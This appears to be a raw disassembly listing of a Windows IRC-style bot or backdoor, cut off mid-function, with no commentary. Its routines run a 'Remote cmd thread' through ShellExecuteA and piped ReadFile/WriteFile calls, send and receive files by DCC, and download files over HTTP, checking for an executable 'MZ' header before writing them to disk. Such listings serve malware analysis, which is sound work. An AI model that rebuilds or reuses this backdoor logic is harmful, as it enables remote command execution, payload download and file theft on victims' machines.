call sub_416B6A ; memset
add esp, 0Ch
push 0
lea eax, [ebp+var_31C]
push eax
push [ebp+var_4]
lea eax, [ebp+var_204]
push eax
push dword_41DE24
call ds:dword_417088 ; ReadFile
test eax, eax
jnz short loc_401D08
jmp short loc_401D22
; ---------------------------------------------------------------------------
loc_401D08: ; CODE XREF: sub_401981+383j
lea eax, [ebp+var_204]
push eax
lea eax, [ebp+var_510]
push eax
call sub_4018AF
pop ecx
pop ecx
jmp loc_401BAD
; ---------------------------------------------------------------------------
loc_401D22: ; CODE XREF: sub_401981+238j
; sub_401981+291j ...
call sub_401856
push [ebp+var_714]
call sub_409763
pop ecx
xor eax, eax
locret_401D35: ; CODE XREF: sub_401981+67j
; sub_401981+BBj ...
leave
retn 4
sub_401981 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401D39 proc near ; CODE XREF: sub_401D6E+AFp
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push [ebp+arg_0]
call sub_416B40 ; strlen
pop ecx
mov [ebp+var_4], eax
push 0
lea eax, [ebp+var_4]
push eax
push [ebp+var_4]
push [ebp+arg_0]
push dword_41DE20
call ds:dword_417068 ; WriteFile
test eax, eax
jnz short loc_401D69
xor eax, eax
jmp short locret_401D6C
; ---------------------------------------------------------------------------
loc_401D69: ; CODE XREF: sub_401D39+2Aj
push 1
pop eax
locret_401D6C: ; CODE XREF: sub_401D39+2Ej
leave
retn
sub_401D39 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401D6E proc near ; CODE XREF: sub_40A9CF+14A0p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
movsx eax, byte ptr [eax+198h]
test eax, eax
jz short loc_401DA6
cmp [ebp+arg_4], 0
jnz short loc_401D8B
jmp locret_401E36
; ---------------------------------------------------------------------------
loc_401D8B: ; CODE XREF: sub_401D6E+16j
push 0
push 0
push 0
push [ebp+arg_4]
push offset aOpen ; "open"
push 0
call ds:dword_4171D0 ; ShellExecuteA
jmp locret_401E36
; ---------------------------------------------------------------------------
loc_401DA6: ; CODE XREF: sub_401D6E+10j
push 3A7h
call sub_416B46 ; malloc
pop ecx
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_401DBC
jmp short locret_401E36
; ---------------------------------------------------------------------------
loc_401DBC: ; CODE XREF: sub_401D6E+4Aj
cmp [ebp+arg_4], 0
jz short loc_401DD9
push 200h
push [ebp+arg_4]
mov eax, [ebp+var_4]
add eax, 4
push eax
call sub_407A56
add esp, 0Ch
loc_401DD9: ; CODE XREF: sub_401D6E+52j
push [ebp+arg_0]
mov eax, [ebp+var_4]
add eax, 204h
push eax
call sub_405F67
pop ecx
pop ecx
push offset aRemoteCmdThrea ; "Remote cmd thread"
push 1
push [ebp+var_4]
push offset sub_401981
call sub_4095A4
add esp, 10h
cmp [ebp+arg_4], 0
jnz short loc_401E0B
jmp short locret_401E36
; ---------------------------------------------------------------------------
loc_401E0B: ; CODE XREF: sub_401D6E+99j
push offset asc_418214 ; "\r\n"
push [ebp+arg_4]
call sub_416B70 ; strcat
pop ecx
pop ecx
push [ebp+arg_4]
call sub_401D39
pop ecx
test eax, eax
jnz short locret_401E36
push offset aErrorWhileExec ; "Error while executing command."
push [ebp+arg_0]
call sub_40D53F
pop ecx
pop ecx
locret_401E36: ; CODE XREF: sub_401D6E+18j
; sub_401D6E+33j ...
leave
retn
sub_401D6E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401E38 proc near ; DATA XREF: sub_4024F3+10Bo
var_614 = qword ptr -614h
var_60C = qword ptr -60Ch
var_604 = dword ptr -604h
var_600 = dword ptr -600h
var_5FC = dword ptr -5FCh
var_5F8 = dword ptr -5F8h
var_5F4 = dword ptr -5F4h
var_5F0 = dword ptr -5F0h
var_5EC = dword ptr -5ECh
var_5E8 = dword ptr -5E8h
var_5E4 = dword ptr -5E4h
var_5E0 = dword ptr -5E0h
var_5DC = byte ptr -5DCh
var_5BB = byte ptr -5BBh
var_4B7 = byte ptr -4B7h
var_3B7 = byte ptr -3B7h
var_3AD = byte ptr -3ADh
var_208 = dword ptr -208h
var_204 = dword ptr -204h
var_200 = byte ptr -200h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 604h
push 3D6h
push [ebp+arg_0]
lea eax, [ebp+var_5E0]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push [ebp+arg_0]
call sub_416B4C ; free
pop ecx
lea eax, [ebp+var_5BB]
push eax
call ds:dword_4170AC ; DeleteFileA
push offset dword_4182AC
lea eax, [ebp+var_5BB]
push eax
call sub_416B88 ; fopen
pop ecx
pop ecx
mov [ebp+var_5E4], eax
cmp [ebp+var_5E4], 0
jnz short loc_401EA3
push [ebp+var_5E0]
call sub_409763
pop ecx
xor eax, eax
jmp locret_4020BE
; ---------------------------------------------------------------------------
loc_401EA3: ; CODE XREF: sub_401E38+56j
push 2710h
push 0
lea eax, [ebp+var_3B7]
push eax
lea eax, [ebp+var_4B7]
push eax
call sub_4050EA
add esp, 10h
mov [ebp+var_208], eax
cmp [ebp+var_208], 0
jnz short loc_401EEE
push [ebp+var_5E4]
call sub_416B82 ; fclose
pop ecx
push [ebp+var_5E0]
call sub_409763
pop ecx
xor eax, eax
jmp locret_4020BE
; ---------------------------------------------------------------------------
loc_401EEE: ; CODE XREF: sub_401E38+95j
lea eax, [ebp+var_5DC]
push eax
lea eax, [ebp+var_5BB]
push eax
mov eax, [ebp+var_5E0]
push dword ptr [eax]
push offset dword_418280
lea eax, [ebp+var_3AD]
push eax
call sub_40D53F
add esp, 14h
call sub_416B64 ; clock
mov [ebp+var_5E8], eax
and [ebp+var_204], 0
loc_401F2A: ; CODE XREF: sub_401E38:loc_401FD8j
push 0
push 200h
lea eax, [ebp+var_200]
push eax
push [ebp+var_208]
call ds:dword_417248 ; recv
mov [ebp+var_5F0], eax
cmp [ebp+var_5F0], 0
jz short loc_401F5F
cmp [ebp+var_5F0], 200h
jbe short loc_401F61
loc_401F5F: ; CODE XREF: sub_401E38+119j
jmp short loc_401FDD
; ---------------------------------------------------------------------------
loc_401F61: ; CODE XREF: sub_401E38+125j
mov eax, [ebp+var_204]
add eax, [ebp+var_5F0]
mov [ebp+var_204], eax
push [ebp+var_204]
call ds:dword_41724C ; ntohl
mov [ebp+var_5F4], eax
push 4
lea eax, [ebp+var_5F4]
push eax
push [ebp+var_208]
call sub_4053BF
add esp, 0Ch
push [ebp+var_5E4]
push [ebp+var_5F0]
push 1
lea eax, [ebp+var_200]
push eax
call sub_416B7C ; fwrite
add esp, 10h
cmp [ebp+var_5F0], 200h
jnb short loc_401FC7
jmp short loc_401FDD
; ---------------------------------------------------------------------------
loc_401FC7: ; CODE XREF: sub_401E38+18Bj
mov eax, [ebp+var_5E0]
cmp dword ptr [eax+4], 0
jz short loc_401FD8
jmp loc_4020BC
; ---------------------------------------------------------------------------
loc_401FD8: ; CODE XREF: sub_401E38+199j
jmp loc_401F2A
; ---------------------------------------------------------------------------
loc_401FDD: ; CODE XREF: sub_401E38:loc_401F5Fj
; sub_401E38+18Dj
push [ebp+var_5E4]
call sub_416B76 ; ftell
pop ecx
mov [ebp+var_5EC], eax
call sub_416B64 ; clock
cmp [ebp+var_5E8], eax
jnz short loc_402008
call sub_416B64 ; clock
dec eax
mov [ebp+var_5E8], eax
loc_402008: ; CODE XREF: sub_401E38+1C2j
mov eax, [ebp+var_5EC]
cdq
mov ecx, 400h
idiv ecx
mov [ebp+var_5F8], eax
fild [ebp+var_5F8]
fstp [ebp+var_5FC]
call sub_416B64 ; clock
sub eax, [ebp+var_5E8]
mov [ebp+var_600], eax
fild [ebp+var_600]
fdiv ds:flt_417270
fdivr [ebp+var_5FC]
push ecx
push ecx
fstp [esp+60Ch+var_60C]
call sub_416B64 ; clock
sub eax, [ebp+var_5E8]
mov [ebp+var_604], eax
fild [ebp+var_604]
fdiv ds:flt_417270
push ecx
push ecx
fstp [esp+614h+var_614]
lea eax, [ebp+var_5DC]
push eax
lea eax, [ebp+var_5BB]
push eax
push offset dword_418234
lea eax, [ebp+var_3AD]
push eax
call sub_40D53F
add esp, 20h
loc_402094: ; CODE XREF: sub_401E38:loc_4020BCj
push [ebp+var_5E4]
call sub_416B82 ; fclose
pop ecx
push [ebp+var_208]
call sub_40538D
pop ecx
push [ebp+var_5E0]
call sub_409763
pop ecx
xor eax, eax
jmp short locret_4020BE
; ---------------------------------------------------------------------------
loc_4020BC: ; CODE XREF: sub_401E38+19Bj
jmp short loc_402094
; ---------------------------------------------------------------------------
locret_4020BE: ; CODE XREF: sub_401E38+66j
; sub_401E38+B1j ...
leave
retn 4
sub_401E38 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4020C2 proc near ; DATA XREF: sub_40260D+7Co
var_A2C = qword ptr -0A2Ch
var_A24 = qword ptr -0A24h
var_A1C = dword ptr -0A1Ch
var_A18 = dword ptr -0A18h
var_A14 = dword ptr -0A14h
var_A10 = dword ptr -0A10h
var_A0C = dword ptr -0A0Ch
var_A08 = dword ptr -0A08h
var_A04 = byte ptr -0A04h
var_9FC = dword ptr -9FCh
var_9F8 = dword ptr -9F8h
var_9F4 = dword ptr -9F4h
var_9F0 = byte ptr -9F0h
var_8EC = dword ptr -8ECh
var_8E8 = dword ptr -8E8h
var_8E4 = dword ptr -8E4h
var_8E0 = byte ptr -8E0h
var_8BF = byte ptr -8BFh
var_8BE = byte ptr -8BEh
var_7BB = byte ptr -7BBh
var_618 = dword ptr -618h
var_614 = byte ptr -614h
var_210 = byte ptr -210h
var_10 = byte ptr -10h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0A1Ch
push 2CCh
push [ebp+arg_0]
lea eax, [ebp+var_8E4]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push [ebp+arg_0]
call sub_416B4C ; free
pop ecx
lea eax, [ebp+var_8BF]
push eax
call sub_416B40 ; strlen
pop ecx
mov [ebp+var_9F8], eax
jmp short loc_40210D
; ---------------------------------------------------------------------------
loc_402100: ; CODE XREF: sub_4020C2:loc_40215Ej
mov eax, [ebp+var_9F8]
dec eax
mov [ebp+var_9F8], eax
loc_40210D: ; CODE XREF: sub_4020C2+3Cj
cmp [ebp+var_9F8], 0
jnz short loc_40212D
lea eax, [ebp+var_8BF]
push eax
lea eax, [ebp+var_9F0]
push eax
call sub_416B3A ; strcpy
pop ecx
pop ecx
jmp short loc_402160
; ---------------------------------------------------------------------------
loc_40212D: ; CODE XREF: sub_4020C2+52j
mov eax, [ebp+var_9F8]
movsx eax, [ebp+eax+var_8BF]
cmp eax, 5Ch
jnz short loc_40215E
mov eax, [ebp+var_9F8]
lea eax, [ebp+eax+var_8BE]
push eax
lea eax, [ebp+var_9F0]
push eax
call sub_416B3A ; strcpy
pop ecx
pop ecx
jmp short loc_402160
; ---------------------------------------------------------------------------
loc_40215E: ; CODE XREF: sub_4020C2+7Cj
jmp short loc_402100
; ---------------------------------------------------------------------------
loc_402160: ; CODE XREF: sub_4020C2+69j
; sub_4020C2+9Aj
mov [ebp+var_8E8], 10h
lea eax, [ebp+var_8E8]
push eax
lea eax, [ebp+var_10]
push eax
call sub_40CF25
push eax
call ds:dword_417240 ; getsockname
push 2
push 0
push 0
push 401h
lea eax, [ebp+var_614]
push eax
push [ebp+var_8E8]
lea eax, [ebp+var_10]
push eax
call dword_41DE88 ; getnameinfo
test eax, eax
jz short loc_4021BA
push [ebp+var_8E4]
call sub_409763
pop ecx
xor eax, eax
jmp locret_4024EF
; ---------------------------------------------------------------------------
loc_4021BA: ; CODE XREF: sub_4020C2+E3j
push 0Ah
lea eax, [ebp+var_A04]
push eax
push 1388h
push 400h
call sub_4103F5
pop ecx
pop ecx
push eax
call sub_416F7A ; _itoa
add esp, 0Ch
push 1
lea eax, [ebp+var_A04]
push eax
call sub_4046BC
pop ecx
pop ecx
mov [ebp+var_9FC], eax
cmp [ebp+var_9FC], 0
jnz short loc_40220F
push [ebp+var_8E4]
call sub_409763
pop ecx
xor eax, eax
jmp locret_4024EF
; ---------------------------------------------------------------------------
loc_40220F: ; CODE XREF: sub_4020C2+138j
push offset aRb ; "rb"
lea eax, [ebp+var_8BF]
push eax
call sub_416B88 ; fopen
pop ecx
pop ecx
mov [ebp+var_8EC], eax
cmp [ebp+var_8EC], 0
jnz short loc_402250
push [ebp+var_9FC]
call sub_404CBB
pop ecx
push [ebp+var_8E4]
call sub_409763
pop ecx
xor eax, eax
jmp locret_4024EF
; ---------------------------------------------------------------------------
loc_402250: ; CODE XREF: sub_4020C2+16Dj
push 2
push 0
push [ebp+var_8EC]
call sub_416B96 ; fseek
add esp, 0Ch
push [ebp+var_8EC]
call sub_416B76 ; ftell
pop ecx
mov [ebp+var_A08], eax
push 0
push 0
push [ebp+var_8EC]
call sub_416B96 ; fseek
add esp, 0Ch
lea eax, [ebp+var_614]
push eax
lea eax, [ebp+var_9F0]
push eax
push offset aDccSendSS ; "DCC Send %s (%s)"
lea eax, [ebp+var_8E0]
push eax
call sub_40D420
add esp, 10h
push [ebp+var_A08]
lea eax, [ebp+var_A04]
push eax
lea eax, [ebp+var_614]
push eax
call ds:dword_417244 ; inet_addr
push eax
call ds:dword_41724C ; ntohl
push eax
lea eax, [ebp+var_9F0]
push eax
push offset dword_418348
lea eax, [ebp+var_8E0]
push eax
call sub_40D4AB
add esp, 18h
push 0EA60h
push [ebp+var_9FC]
call sub_4048EF
pop ecx
pop ecx
mov [ebp+var_618], eax
cmp [ebp+var_618], 0
jz short loc_40230F
cmp [ebp+var_618], 0FFFFFFFFh
jnz short loc_40233A
loc_40230F: ; CODE XREF: sub_4020C2+242j
push [ebp+var_8EC]
call sub_416B82 ; fclose
pop ecx
push [ebp+var_9FC]
call sub_404CBB
pop ecx
push [ebp+var_8E4]
call sub_409763
pop ecx
xor eax, eax
jmp locret_4024EF
; ---------------------------------------------------------------------------
loc_40233A: ; CODE XREF: sub_4020C2+24Bj
lea eax, [ebp+var_8E0]
push eax
lea eax, [ebp+var_9F0]
push eax
mov eax, [ebp+var_8E4]
push dword ptr [eax]
push offset dword_418320
lea eax, [ebp+var_7BB]
push eax
call sub_40D53F
add esp, 14h
call sub_416B64 ; clock
mov [ebp+var_9F4], eax
loc_40236F: ; CODE XREF: sub_4020C2:loc_40240Dj
push [ebp+var_8EC]
push 200h
push 1
lea eax, [ebp+var_210]
push eax
call sub_416B90 ; fread
add esp, 10h
mov [ebp+var_A0C], eax
cmp [ebp+var_A0C], 0
jz short loc_4023A6
cmp [ebp+var_A0C], 200h
jbe short loc_4023A8
loc_4023A6: ; CODE XREF: sub_4020C2+2D6j
jmp short loc_402412
; ---------------------------------------------------------------------------
loc_4023A8: ; CODE XREF: sub_4020C2+2E2j
push [ebp+var_A0C]
lea eax, [ebp+var_210]
push eax
push [ebp+var_618]
call sub_4053BF
add esp, 0Ch
test eax, eax
jnz short loc_4023EE
lea eax, [ebp+var_8E0]
push eax
lea eax, [ebp+var_9F0]
push eax
push offset dword_4182F4
lea eax, [ebp+var_7BB]
push eax
call sub_40D53F
add esp, 10h
jmp loc_4024ED
; ---------------------------------------------------------------------------
loc_4023EE: ; CODE XREF: sub_4020C2+303j
cmp [ebp+var_A0C], 200h
jnb short loc_4023FC
jmp short loc_402412
; ---------------------------------------------------------------------------
loc_4023FC: ; CODE XREF: sub_4020C2+336j
mov eax, [ebp+var_8E4]
cmp dword ptr [eax+4], 0
jz short loc_40240D
jmp loc_4024EB
; ---------------------------------------------------------------------------
loc_40240D: ; CODE XREF: sub_4020C2+344j
jmp loc_40236F
; ---------------------------------------------------------------------------
loc_402412: ; CODE XREF: sub_4020C2:loc_4023A6j
; sub_4020C2+338j
call sub_416B64 ; clock
cmp [ebp+var_9F4], eax
jnz short loc_40242B
call sub_416B64 ; clock
dec eax
mov [ebp+var_9F4], eax
loc_40242B: ; CODE XREF: sub_4020C2+35Bj
mov eax, [ebp+var_A08]
cdq
mov ecx, 400h
idiv ecx
mov [ebp+var_A10], eax
fild [ebp+var_A10]
fstp [ebp+var_A14]
call sub_416B64 ; clock
sub eax, [ebp+var_9F4]
mov [ebp+var_A18], eax
fild [ebp+var_A18]
fdiv ds:flt_417270
fdivr [ebp+var_A14]
push ecx
push ecx
fstp [esp+0A24h+var_A24]
call sub_416B64 ; clock
sub eax, [ebp+var_9F4]
mov [ebp+var_A1C], eax
fild [ebp+var_A1C]
fdiv ds:flt_417270
push ecx
push ecx
fstp [esp+0A2Ch+var_A2C]
lea eax, [ebp+var_8E0]
push eax
lea eax, [ebp+var_9F0]
push eax
push offset dword_4182B0
lea eax, [ebp+var_7BB]
push eax
call sub_40D53F
add esp, 20h
loc_4024B7: ; CODE XREF: sub_4020C2:loc_4024EBj
; sub_4020C2:loc_4024EDj
push [ebp+var_618]
call sub_40538D
pop ecx
push [ebp+var_8EC]
call sub_416B82 ; fclose
pop ecx
push [ebp+var_9FC]
call sub_404CBB
pop ecx
push [ebp+var_8E4]
call sub_409763
pop ecx
xor eax, eax
jmp short locret_4024EF
; ---------------------------------------------------------------------------
loc_4024EB: ; CODE XREF: sub_4020C2+346j
jmp short loc_4024B7
; ---------------------------------------------------------------------------
loc_4024ED: ; CODE XREF: sub_4020C2+327j
jmp short loc_4024B7
; ---------------------------------------------------------------------------
locret_4024EF: ; CODE XREF: sub_4020C2+F3j
; sub_4020C2+148j ...
leave
retn 4
sub_4020C2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4024F3 proc near ; CODE XREF: sub_40D871+203p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 0Ch
cmp [ebp+arg_4], 0
jz short loc_402511
cmp [ebp+arg_8], 0
jz short loc_402511
cmp [ebp+arg_C], 0
jz short loc_402511
cmp [ebp+arg_10], 0
jnz short loc_402516
loc_402511: ; CODE XREF: sub_4024F3+Aj
; sub_4024F3+10j ...
jmp locret_40260B
; ---------------------------------------------------------------------------
loc_402516: ; CODE XREF: sub_4024F3+1Cj
push [ebp+arg_10]
call sub_416B9C ; atoi
pop ecx
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jz short loc_402531
cmp [ebp+var_8], 0FFFFh
jbe short loc_402536
loc_402531: ; CODE XREF: sub_4024F3+33j
jmp locret_40260B
; ---------------------------------------------------------------------------
loc_402536: ; CODE XREF: sub_4024F3+3Cj
push [ebp+arg_14]
call sub_416B9C ; atoi
pop ecx
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jz short loc_402551
cmp [ebp+var_8], 40000000h
jbe short loc_402556
loc_402551: ; CODE XREF: sub_4024F3+53j
jmp locret_40260B
; ---------------------------------------------------------------------------
loc_402556: ; CODE XREF: sub_4024F3+5Cj
push 3D6h
call sub_416B46 ; malloc
pop ecx
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_40256F
jmp locret_40260B
; ---------------------------------------------------------------------------
loc_40256F: ; CODE XREF: sub_4024F3+75j
push 21h
push [ebp+arg_4]
mov eax, [ebp+var_4]
add eax, 4
push eax
call sub_416B58 ; strncpy
add esp, 0Ch
push 104h
push [ebp+arg_8]
mov eax, [ebp+var_4]
add eax, 25h
push eax
call sub_416B58 ; strncpy
add esp, 0Ch
push 100h
push [ebp+arg_C]
mov eax, [ebp+var_4]
add eax, 129h
push eax
call sub_416B58 ; strncpy
add esp, 0Ch
push 6
push [ebp+arg_10]
mov eax, [ebp+var_4]
add eax, 229h
push eax
call sub_416B58 ; strncpy
add esp, 0Ch
mov eax, [ebp+var_4]
mov ecx, [ebp+var_C]
mov [eax+22Fh], ecx
push 1A3h
push [ebp+arg_0]
mov eax, [ebp+var_4]
add eax, 233h
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push [ebp+arg_4]
push [ebp+arg_8]
push offset dword_41837C
push 0
push [ebp+var_4]
push offset sub_401E38
call sub_4095A4
add esp, 18h
locret_40260B: ; CODE XREF: sub_4024F3:loc_402511j
; sub_4024F3:loc_402531j ...
leave
retn
sub_4024F3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40260D proc near ; CODE XREF: sub_40A9CF+98Ep
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_4], 0
jz short loc_40261D
cmp [ebp+arg_8], 0
jnz short loc_40261F
loc_40261D: ; CODE XREF: sub_40260D+8j
jmp short locret_402696
; ---------------------------------------------------------------------------
loc_40261F: ; CODE XREF: sub_40260D+Ej
push 2CCh
call sub_416B46 ; malloc
pop ecx
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_402635
jmp short locret_402696
; ---------------------------------------------------------------------------
loc_402635: ; CODE XREF: sub_40260D+24j
push 21h
push [ebp+arg_4]
mov eax, [ebp+var_4]
add eax, 4
push eax
call sub_416B58 ; strncpy
add esp, 0Ch
push 104h
push [ebp+arg_8]
mov eax, [ebp+var_4]
add eax, 25h
push eax
call sub_416B58 ; strncpy
add esp, 0Ch
push 1A3h
push [ebp+arg_0]
mov eax, [ebp+var_4]
add eax, 129h
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push [ebp+arg_4]
push [ebp+arg_8]
push offset dword_4183A0
push 0
push [ebp+var_4]
push offset sub_4020C2
call sub_4095A4
add esp, 18h
locret_402696: ; CODE XREF: sub_40260D:loc_40261Dj
; sub_40260D+26j
leave
retn
sub_40260D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402698 proc near ; CODE XREF: sub_402A32+5C9p
var_420 = dword ptr -420h
var_41C = dword ptr -41Ch
var_418 = dword ptr -418h
var_414 = dword ptr -414h
var_410 = dword ptr -410h
var_40C = dword ptr -40Ch
var_408 = dword ptr -408h
var_404 = byte ptr -404h
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
sub esp, 420h
push 2710h
push 0
push [ebp+arg_C]
push [ebp+arg_8]
call sub_4050EA
add esp, 10h
mov [ebp+var_414], eax
cmp [ebp+var_414], 0
jnz short loc_4026CC
xor eax, eax
jmp locret_402A22
; ---------------------------------------------------------------------------
loc_4026CC: ; CODE XREF: sub_402698+2Bj
push [ebp+arg_8]
push [ebp+arg_10]
push offset aGetSHttp1_0Hos ; "GET /%s HTTP/1.0\r\nHost: %s\r\n\r\n"
push 401h
lea eax, [ebp+var_404]
push eax
call sub_416BAE ; _snprintf
add esp, 14h
lea eax, [ebp+var_404]
push eax
call sub_416B40 ; strlen
pop ecx
push eax
lea eax, [ebp+var_404]
push eax
push [ebp+var_414]
call sub_4053BF
add esp, 0Ch
push 2710h
push 401h
lea eax, [ebp+var_404]
push eax
push [ebp+var_414]
call sub_405443
add esp, 10h
mov [ebp+var_420], eax
cmp [ebp+var_420], 0
jz short loc_402745
cmp [ebp+var_420], 0FFFFFFFFh
jnz short loc_402758
loc_402745: ; CODE XREF: sub_402698+A2j
push [ebp+var_414]
call sub_40538D
pop ecx
xor eax, eax
jmp locret_402A22
; ---------------------------------------------------------------------------
loc_402758: ; CODE XREF: sub_402698+ABj
push offset asc_4183EC ; "\r\n\r\n"
lea eax, [ebp+var_404]
push eax
call sub_416BA8 ; strstr
pop ecx
pop ecx
mov [ebp+var_410], eax
cmp [ebp+var_410], 0
jnz short loc_40278D
push [ebp+var_414]
call sub_40538D
pop ecx
xor eax, eax
jmp locret_402A22
; ---------------------------------------------------------------------------
loc_40278D: ; CODE XREF: sub_402698+E0j
mov eax, [ebp+var_410]
add eax, 4
mov [ebp+var_410], eax
push offset aContentLength ; "Content-Length: "
lea eax, [ebp+var_404]
push eax
call sub_416BA8 ; strstr
pop ecx
pop ecx
mov [ebp+var_40C], eax
cmp [ebp+var_40C], 0
jz short loc_4027CC
mov eax, [ebp+var_40C]
cmp eax, [ebp+var_410]
jbe short loc_4027DF
loc_4027CC: ; CODE XREF: sub_402698+124j
push [ebp+var_414]
call sub_40538D
pop ecx
xor eax, eax
jmp locret_402A22
; ---------------------------------------------------------------------------
loc_4027DF: ; CODE XREF: sub_402698+132j
and [ebp+var_41C], 0
lea eax, [ebp+var_41C]
push eax
push offset aContentLengthU ; "Content-Length: %u\r\n"
push [ebp+var_40C]
call sub_416BA2 ; sscanf
add esp, 0Ch
mov [ebp+var_408], eax
cmp [ebp+var_408], 1
jnz short loc_402818
cmp [ebp+var_41C], 0
jnz short loc_40282B
loc_402818: ; CODE XREF: sub_402698+175j
push [ebp+var_414]
call sub_40538D
pop ecx
xor eax, eax
jmp locret_402A22
; ---------------------------------------------------------------------------
loc_40282B: ; CODE XREF: sub_402698+17Ej
cmp [ebp+arg_1C], 0
jz short loc_40285D
cmp [ebp+var_41C], 2
jb short loc_40284A
mov eax, [ebp+var_410]
movzx eax, word ptr [eax]
cmp eax, 5A4Dh
jz short loc_40285D
loc_40284A: ; CODE XREF: sub_402698+1A0j
push [ebp+var_414]
call sub_40538D
pop ecx
xor eax, eax
jmp locret_402A22
; ---------------------------------------------------------------------------
loc_40285D: ; CODE XREF: sub_402698+197j
; sub_402698+1B0j
cmp [ebp+arg_18], 0
jz short loc_40286E
mov eax, [ebp+arg_18]
mov ecx, [ebp+var_41C]
mov [eax], ecx
loc_40286E: ; CODE XREF: sub_402698+1C9j
push [ebp+arg_14]
call sub_4167B9
pop ecx
test eax, eax
jz short loc_40288E
push [ebp+var_414]
call sub_40538D
pop ecx
xor eax, eax
jmp locret_402A22
; ---------------------------------------------------------------------------
loc_40288E: ; CODE XREF: sub_402698+1E1j
push offset dword_4182AC
push [ebp+arg_14]
call sub_416B88 ; fopen
pop ecx
pop ecx
mov [ebp+var_418], eax
cmp [ebp+var_418], 0
jnz short loc_4028BF
push [ebp+var_414]
call sub_40538D
pop ecx
xor eax, eax
jmp locret_402A22
; ---------------------------------------------------------------------------
loc_4028BF: ; CODE XREF: sub_402698+212j
push [ebp+var_418]
mov eax, [ebp+var_410]
lea ecx, [ebp+var_404]
sub eax, ecx
mov ecx, [ebp+var_420]
sub ecx, eax
push ecx
push 1
push [ebp+var_410]
call sub_416B7C ; fwrite
add esp, 10h
mov eax, [ebp+var_410]
lea ecx, [ebp+var_404]
sub eax, ecx
mov ecx, [ebp+var_420]
sub ecx, eax
mov eax, [ebp+var_41C]
sub eax, ecx
mov [ebp+var_41C], eax
loc_402910: ; CODE XREF: sub_402698:loc_402A1Dj
cmp [ebp+arg_20], 0
jz short loc_40293F
mov eax, [ebp+arg_20]
cmp dword ptr [eax+4], 0
jz short loc_40293F
push [ebp+var_418]
call sub_416B82 ; fclose
pop ecx
push [ebp+var_414]
call sub_40538D
pop ecx
push 1
pop eax
jmp locret_402A22
; ---------------------------------------------------------------------------
loc_40293F: ; CODE XREF: sub_402698+27Cj
; sub_402698+285j
push 2710h
push 401h
lea eax, [ebp+var_404]
push eax
push [ebp+var_414]
call sub_405443
add esp, 10h
mov [ebp+var_420], eax
cmp [ebp+var_420], 0
jz short loc_402976
cmp [ebp+var_420], 0FFFFFFFFh
jnz short loc_40299E
loc_402976: ; CODE XREF: sub_402698+2D3j
push [ebp+var_418]
call sub_416B82 ; fclose
pop ecx
push [ebp+var_414]
call sub_40538D
pop ecx
push [ebp+arg_14]
call ds:dword_4170AC ; DeleteFileA
xor eax, eax
jmp locret_402A22
; ---------------------------------------------------------------------------
loc_40299E: ; CODE XREF: sub_402698+2DCj
mov eax, [ebp+var_420]
cmp eax, [ebp+var_41C]
jbe short loc_4029C8
push [ebp+var_418]
call sub_416B82 ; fclose
pop ecx
push [ebp+var_414]
call sub_40538D
pop ecx
xor eax, eax
jmp short locret_402A22
; ---------------------------------------------------------------------------
loc_4029C8: ; CODE XREF: sub_402698+312j
push [ebp+var_418]
push [ebp+var_420]
push 1
lea eax, [ebp+var_404]
push eax
call sub_416B7C ; fwrite
add esp, 10h
mov eax, [ebp+var_41C]
sub eax, [ebp+var_420]
mov [ebp+var_41C], eax
cmp [ebp+var_41C], 0
jnz short loc_402A1D
push [ebp+var_418]
call sub_416B82 ; fclose
pop ecx
push [ebp+var_414]
call sub_40538D
pop ecx
push 1
pop eax
jmp short locret_402A22
; ---------------------------------------------------------------------------
loc_402A1D: ; CODE XREF: sub_402698+366j
jmp loc_402910
; ---------------------------------------------------------------------------
locret_402A22: ; CODE XREF: sub_402698+2Fj
; sub_402698+BBj ...
leave
retn
sub_402698 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402A24 proc near ; CODE XREF: sub_402A32+625p
push ebp
mov ebp, esp
xor eax, eax
pop ebp
retn
sub_402A24 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402A2B proc near ; CODE XREF: sub_402A32+673p
push ebp
mov ebp, esp
xor eax, eax
pop ebp
retn
sub_402A2B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402A32 proc near ; DATA XREF: sub_403260+BCo
var_814 = qword ptr -814h
var_804 = qword ptr -804h
var_7FC = dword ptr -7FCh
var_7F8 = qword ptr -7F8h
var_7F0 = dword ptr -7F0h
var_7EC = dword ptr -7ECh
var_7E8 = dword ptr -7E8h
